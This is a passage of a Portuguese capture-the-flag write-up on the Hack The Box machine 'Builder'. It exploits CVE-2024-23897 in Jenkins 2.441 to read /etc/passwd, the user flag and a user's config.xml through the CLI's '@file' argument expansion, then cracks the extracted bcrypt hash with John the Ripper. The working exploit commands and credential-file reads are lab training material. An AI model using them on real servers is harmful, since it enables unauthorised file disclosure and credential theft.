22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
8080/tcp open  http    Jetty 10.0.18
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Podemos ver que existem duas portas abertas em nosso alvo, a porta 22 do ssh e a porta 8080 que roda um Jetty na versão 10.0.18. O Jetty é um servidor web feito em java.&lt;/p&gt;

&lt;p&gt;Ao acessar a porta 8080 pelo navegador temos a seguinte página:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fujjw8ffascb7ce16xj05.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fujjw8ffascb7ce16xj05.png" alt="Welcome Jenkins" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se trata de um Jenkins na versão 2.441. O jenkins é uma aplicação feita em java com foco em automação focada no desenvolvimento de software, realiza ações como build, test e deploy de aplicações.&lt;/p&gt;

&lt;p&gt;Podemos notar que ser precisar de um usuário conseguimos acesso a algumas funcionalidades do jenkins, como visualizar histórico de builds, lista os nodes (que possui somente 1 node built in que é nosso alvo).&lt;br&gt;
Também podemos listar os usuários, que no caso temos somente o usuário &lt;strong&gt;jennifer&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkq1t49rrwmk9efkrhlz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkq1t49rrwmk9efkrhlz.png" alt="Users" width="800" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Também conseguimos listar as credenciais:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4nnx65tw2bqvpoite3jk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4nnx65tw2bqvpoite3jk.png" alt="Credentials" width="800" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Conseguimos visualizar este conteúdo pelo acesso anônimo estar habilitado.&lt;br&gt;
Outro ponto importante é que notamos que a REST API do jenkins esta habilitada também:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpxm96ebnoao0ewefevd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpxm96ebnoao0ewefevd.png" alt="Rest API" width="800" height="410"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Todos estes pontos combinam com uma vulnerabilidade recente do Jenkins, a &lt;a href="https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897" rel="noopener noreferrer"&gt;CVE-2024-23897&lt;/a&gt; que se trata de um &lt;strong&gt;Arbitrary File Read&lt;/strong&gt; na versão 2.441 e anteriores.&lt;/p&gt;

&lt;p&gt;Esta vulnerabilidade ocorre devido a uma má sanitização de um input via CLI, que é utilizado através da REST API do jenkins. Uma lib chamada &lt;strong&gt;args4j&lt;/strong&gt; é utilizada para parsear argumentos via CLI. Existe uma feature que substitui o caracter &lt;strong&gt;@&lt;/strong&gt; seguido pelo path de um arquivo por um argumento com o conteúdo desse arquivo, o que nos permite ler arquivos no servidor.&lt;/p&gt;

&lt;p&gt;No jenkins em nosso alvo conseguimos baixar o .jar que permitirá a comunicação com o jenkins.&lt;br&gt;
Vamos realizar o download da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# wget http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
&lt;span class="nt"&gt;--2024-02-13&lt;/span&gt; 12:20:57--  http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.129.220.88:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 &lt;span class="o"&gt;(&lt;/span&gt;3.5M&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar                          100%[&lt;span class="o"&gt;=================================================================================&amp;gt;]&lt;/span&gt;   3.46M   547KB/s    &lt;span class="k"&gt;in &lt;/span&gt;8.6s    

2024-02-13 12:21:06 &lt;span class="o"&gt;(&lt;/span&gt;413 KB/s&lt;span class="o"&gt;)&lt;/span&gt; - ‘jenkins-cli.jar’ saved &lt;span class="o"&gt;[&lt;/span&gt;3623400/3623400]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para explorar a vulnerabilidade executamos o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ &lt;span class="nt"&gt;-http&lt;/span&gt; connect-node &lt;span class="s2"&gt;"@/etc/passwd"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'\No'&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;
&lt;span class="nb"&gt;cut&lt;/span&gt;: the delimiter must be a single character
Try &lt;span class="s1"&gt;'cut --help'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;more information.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"&lt;/span&gt; exists.
root:x:0:0:root:/root:/bin/bash: No such agent &lt;span class="s2"&gt;"root:x:0:0:root:/root:/bin/bash"&lt;/span&gt; exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin"&lt;/span&gt; exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin"&lt;/span&gt; exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"_apt:x:42:65534::/nonexistent:/usr/sbin/nologin"&lt;/span&gt; exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"&lt;/span&gt; exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin"&lt;/span&gt; exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin"&lt;/span&gt; exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"bin:x:2:2:bin:/bin:/usr/sbin/nologin"&lt;/span&gt; exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin"&lt;/span&gt; exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin"&lt;/span&gt; exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin"&lt;/span&gt; exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin"&lt;/span&gt; exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent &lt;span class="s2"&gt;"jenkins:x:1000:1000::/var/jenkins_home:/bin/bash"&lt;/span&gt; exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"games:x:5:60:games:/usr/games:/usr/sbin/nologin"&lt;/span&gt; exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin"&lt;/span&gt; exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin"&lt;/span&gt; exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent &lt;span class="s2"&gt;"sys:x:3:3:sys:/dev:/usr/sbin/nologin"&lt;/span&gt; exists.
&lt;span class="nb"&gt;sync&lt;/span&gt;:x:4:65534:sync:/bin:/bin/sync: No such agent &lt;span class="s2"&gt;"sync:x:4:65534:sync:/bin:/bin/sync"&lt;/span&gt; exists.

ERROR: Error occurred &lt;span class="k"&gt;while &lt;/span&gt;performing this &lt;span class="nb"&gt;command&lt;/span&gt;, see previous stderr output.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos o retorno do &lt;strong&gt;/etc/passwd&lt;/strong&gt;, podemos colocar o resultado em um arquivo para filtrar a saída:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' passwd                      
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: 
root:x:0:0:root:/root:/bin/bash: 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: 
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: 
bin:x:2:2:bin:/bin:/usr/sbin/nologin: 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: 
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: 
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: 
games:x:5:60:games:/usr/games:/usr/sbin/nologin: 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: 
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Podemos notar que existem dois usuários, &lt;strong&gt;root&lt;/strong&gt; e &lt;strong&gt;jenkins&lt;/strong&gt;. A home do root é** /root e a home do usuário jenkins é &lt;strong&gt;/var/jenkins_home&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Com isso conseguimos buscar a user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ &lt;span class="nt"&gt;-http&lt;/span&gt; connect-node &lt;span class="s2"&gt;"@/var/jenkins_home/user.txt"&lt;/span&gt;          

ERROR: No such agent &lt;span class="s2"&gt;"aea470ff3badab8504db49aa7e1d9e34"&lt;/span&gt; exists.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h4&gt;

&lt;p&gt;Agora que temos como ler arquivos podemos buscar por arquivos importantes que podem nos dar credenciais ou informações sensíveis.&lt;br&gt;
Utilizando a documentação do jenkins conseguimos encontrar arquivos importantes, um deles é o &lt;strong&gt;/var/jenkins_home/users/users.xml&lt;/strong&gt; que possui informações de usuários do jenkins:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ &lt;span class="nt"&gt;-http&lt;/span&gt; connect-node &lt;span class="s2"&gt;"@/var/jenkins_home/users/users.xml"&lt;/span&gt;

&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1.1'&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;?&amp;gt;: No such agent &lt;span class="s2"&gt;"&amp;lt;?xml version='1.1' encoding='UTF-8'?&amp;gt;"&lt;/span&gt; exists.
      &amp;lt;string&amp;gt;jennifer_12108429903186576833&amp;lt;/string&amp;gt;: No such agent &lt;span class="s2"&gt;"      &amp;lt;string&amp;gt;jennifer_12108429903186576833&amp;lt;/string&amp;gt;"&lt;/span&gt; exists.
  &amp;lt;idToDirectoryNameMap &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"concurrent-hash-map"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: No such agent &lt;span class="s2"&gt;"  &amp;lt;idToDirectoryNameMap class="&lt;/span&gt;concurrent-hash-map&lt;span class="s2"&gt;"&amp;gt;"&lt;/span&gt; exists.
    &amp;lt;entry&amp;gt;: No such agent &lt;span class="s2"&gt;"    &amp;lt;entry&amp;gt;"&lt;/span&gt; exists.
      &amp;lt;string&amp;gt;jennifer&amp;lt;/string&amp;gt;: No such agent &lt;span class="s2"&gt;"      &amp;lt;string&amp;gt;jennifer&amp;lt;/string&amp;gt;"&lt;/span&gt; exists.
  &amp;lt;version&amp;gt;1&amp;lt;/version&amp;gt;: No such agent &lt;span class="s2"&gt;"  &amp;lt;version&amp;gt;1&amp;lt;/version&amp;gt;"&lt;/span&gt; exists.
&amp;lt;/hudson.model.UserIdMapper&amp;gt;: No such agent &lt;span class="s2"&gt;"&amp;lt;/hudson.model.UserIdMapper&amp;gt;"&lt;/span&gt; exists.
  &amp;lt;/idToDirectoryNameMap&amp;gt;: No such agent &lt;span class="s2"&gt;"  &amp;lt;/idToDirectoryNameMap&amp;gt;"&lt;/span&gt; exists.
&amp;lt;hudson.model.UserIdMapper&amp;gt;: No such agent &lt;span class="s2"&gt;"&amp;lt;hudson.model.UserIdMapper&amp;gt;"&lt;/span&gt; exists.
    &amp;lt;/entry&amp;gt;: No such agent &lt;span class="s2"&gt;"    &amp;lt;/entry&amp;gt;"&lt;/span&gt; exists.

ERROR: Error occurred &lt;span class="k"&gt;while &lt;/span&gt;performing this &lt;span class="nb"&gt;command&lt;/span&gt;, see previous stderr output.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Iremos adicionar o resultado em um arquivo para uma melhor leitura:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'No such agent'&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; users.xml 
&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1.1'&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;?&amp;gt;: 
      &amp;lt;string&amp;gt;jennifer_12108429903186576833&amp;lt;/string&amp;gt;: 
  &amp;lt;idToDirectoryNameMap &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"concurrent-hash-map"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
    &amp;lt;entry&amp;gt;: 
      &amp;lt;string&amp;gt;jennifer&amp;lt;/string&amp;gt;: 
  &amp;lt;version&amp;gt;1&amp;lt;/version&amp;gt;: 
&amp;lt;/hudson.model.UserIdMapper&amp;gt;: 
  &amp;lt;/idToDirectoryNameMap&amp;gt;: 
&amp;lt;hudson.model.UserIdMapper&amp;gt;: 
    &amp;lt;/entry&amp;gt;: 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Essa informação é importante porque aqui descobrimos o diretório com as informações do usuário jennifer, que o jenkins cria com um número randomico: &lt;strong&gt;jennifer_12108429903186576833&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Descobrimos assim a conteúdo do arquivo que contém as informações do usuário:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# java &lt;span class="nt"&gt;-jar&lt;/span&gt; jenkins-cli.jar &lt;span class="nt"&gt;-s&lt;/span&gt; http://10.129.220.88:8080/ /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos visualizar melhor filtrando em um arquivo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'No such agent'&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; jennifer-config.xml 
&amp;lt;hudson.tasks.Mailer_-UserProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"mailer@463.vedf8358e006b_"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
    &amp;lt;hudson.search.UserSearchProperty&amp;gt;: 
      &amp;lt;roles&amp;gt;: 
    &amp;lt;jenkins.security.seed.UserSeedProperty&amp;gt;: 
      &amp;lt;/tokenStore&amp;gt;: 
    &amp;lt;/hudson.search.UserSearchProperty&amp;gt;: 
      &amp;lt;timeZoneName&amp;gt;&amp;lt;/timeZoneName&amp;gt;: 
  &amp;lt;properties&amp;gt;: 
    &amp;lt;jenkins.security.LastGrantedAuthoritiesProperty&amp;gt;: 
      &amp;lt;flags/&amp;gt;: 
    &amp;lt;hudson.model.MyViewsProperty&amp;gt;: 
&amp;lt;/user&amp;gt;: 
    &amp;lt;/jenkins.security.ApiTokenProperty&amp;gt;: 
      &amp;lt;views&amp;gt;: 
        &amp;lt;string&amp;gt;authenticated&amp;lt;/string&amp;gt;: 
    &amp;lt;org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"display-url-api@2.200.vb_9327d658781"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
&amp;lt;user&amp;gt;: 
          &amp;lt;name&amp;gt;all&amp;lt;/name&amp;gt;: 
  &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;: 
      &amp;lt;emailAddress&amp;gt;jennifer@builder.htb&amp;lt;/emailAddress&amp;gt;: 
      &amp;lt;collapsed/&amp;gt;: 
    &amp;lt;/jenkins.security.seed.UserSeedProperty&amp;gt;: 
    &amp;lt;/org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty&amp;gt;: 
    &amp;lt;/hudson.model.MyViewsProperty&amp;gt;: 
      &amp;lt;domainCredentialsMap &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hudson.util.CopyOnWriteMap&lt;/span&gt;&lt;span class="nv"&gt;$Hash&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/&amp;gt;: 
          &amp;lt;filterQueue&amp;gt;false&amp;lt;/filterQueue&amp;gt;: 
    &amp;lt;jenkins.security.ApiTokenProperty&amp;gt;: 
      &amp;lt;primaryViewName&amp;gt;&amp;lt;/primaryViewName&amp;gt;: 
      &amp;lt;/views&amp;gt;: 
    &amp;lt;/hudson.model.TimeZoneProperty&amp;gt;: 
    &amp;lt;com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"credentials@1319.v7eb_51b_3a_c97b_"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;: 
    &amp;lt;/hudson.model.PaneStatusProperties&amp;gt;: 
    &amp;lt;/hudson.tasks.Mailer_-UserProperty&amp;gt;: 
        &amp;lt;tokenList/&amp;gt;: 
    &amp;lt;jenkins.console.ConsoleUrlProviderUserProperty/&amp;gt;: 
        &amp;lt;/hudson.model.AllView&amp;gt;: 
      &amp;lt;timestamp&amp;gt;1707318554385&amp;lt;/timestamp&amp;gt;: 
          &amp;lt;owner &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hudson.model.MyViewsProperty"&lt;/span&gt; &lt;span class="nv"&gt;reference&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"../../.."&lt;/span&gt;/&amp;gt;: 
  &amp;lt;/properties&amp;gt;: 
    &amp;lt;/jenkins.model.experimentalflags.UserExperimentalFlagsProperty&amp;gt;: 
    &amp;lt;/com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty&amp;gt;: 
    &amp;lt;hudson.security.HudsonPrivateSecurityRealm_-Details&amp;gt;: 
      &amp;lt;insensitiveSearch&amp;gt;true&amp;lt;/insensitiveSearch&amp;gt;: 
          &amp;lt;properties &lt;span class="nv"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"hudson.model.View&lt;/span&gt;&lt;span class="nv"&gt;$PropertyList&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/&amp;gt;: 
    &amp;lt;hudson.model.TimeZoneProperty&amp;gt;: 
        &amp;lt;hudson.model.AllView&amp;gt;: 
    &amp;lt;/hudson.security.HudsonPrivateSecurityRealm_-Details&amp;gt;: 
      &amp;lt;providerId&amp;gt;default&amp;lt;/providerId&amp;gt;: 
      &amp;lt;/roles&amp;gt;: 
    &amp;lt;/jenkins.security.LastGrantedAuthoritiesProperty&amp;gt;: 
    &amp;lt;jenkins.model.experimentalflags.UserExperimentalFlagsProperty&amp;gt;: 
    &amp;lt;hudson.model.PaneStatusProperties&amp;gt;: 
&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1.1'&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;?&amp;gt;: 
  &amp;lt;fullName&amp;gt;jennifer&amp;lt;/fullName&amp;gt;: 
      &amp;lt;seed&amp;gt;6841d11dc1de101d&amp;lt;/seed&amp;gt;: 
  &amp;lt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;jennifer&amp;lt;/id&amp;gt;: 
  &amp;lt;version&amp;gt;10&amp;lt;/version&amp;gt;: 
      &amp;lt;tokenStore&amp;gt;: 
          &amp;lt;filterExecutors&amp;gt;false&amp;lt;/filterExecutors&amp;gt;: 
    &amp;lt;io.jenkins.plugins.thememanager.ThemeUserProperty &lt;span class="nv"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"theme-manager@215.vc1ff18d67920"&lt;/span&gt;/&amp;gt;: 
      &amp;lt;passwordHash&amp;gt;#jbcrypt:&lt;span class="nv"&gt;$2a$10$UwR7BpEH&lt;/span&gt;.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a&amp;lt;/passwordHash&amp;gt;: 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos o email &lt;code&gt;jennifer@builder.htb&lt;/code&gt; e a hash da senha do usuário &lt;code&gt;$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Vamos utilizar o john the ripper para quebrar essa hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# john &lt;span class="nt"&gt;-w&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt jennifer-hash                                                                   
Using default input encoding: UTF-8
Loaded 1 password &lt;span class="nb"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;bcrypt &lt;span class="o"&gt;[&lt;/span&gt;Blowfish 32/64 X3]&lt;span class="o"&gt;)&lt;/span&gt;
Cost 1 &lt;span class="o"&gt;(&lt;/span&gt;iteration count&lt;span class="o"&gt;)&lt;/span&gt; is 1024 &lt;span class="k"&gt;for &lt;/span&gt;all loaded hashes
Will run 4 OpenMP threads
Press &lt;span class="s1"&gt;'q'&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class="k"&gt;for &lt;/span&gt;status
princess         &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;     
1g 0:00:00:00 DONE &lt;span class="o"&gt;(&lt;/span&gt;2024-02-14 17:12&lt;span class="o"&gt;)&lt;/span&gt; 3.030g/s 109.0p/s 109.0c/s 109.0C/s 123456..liverpool
Use the &lt;span class="s2"&gt;"--show"&lt;/span&gt; option to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



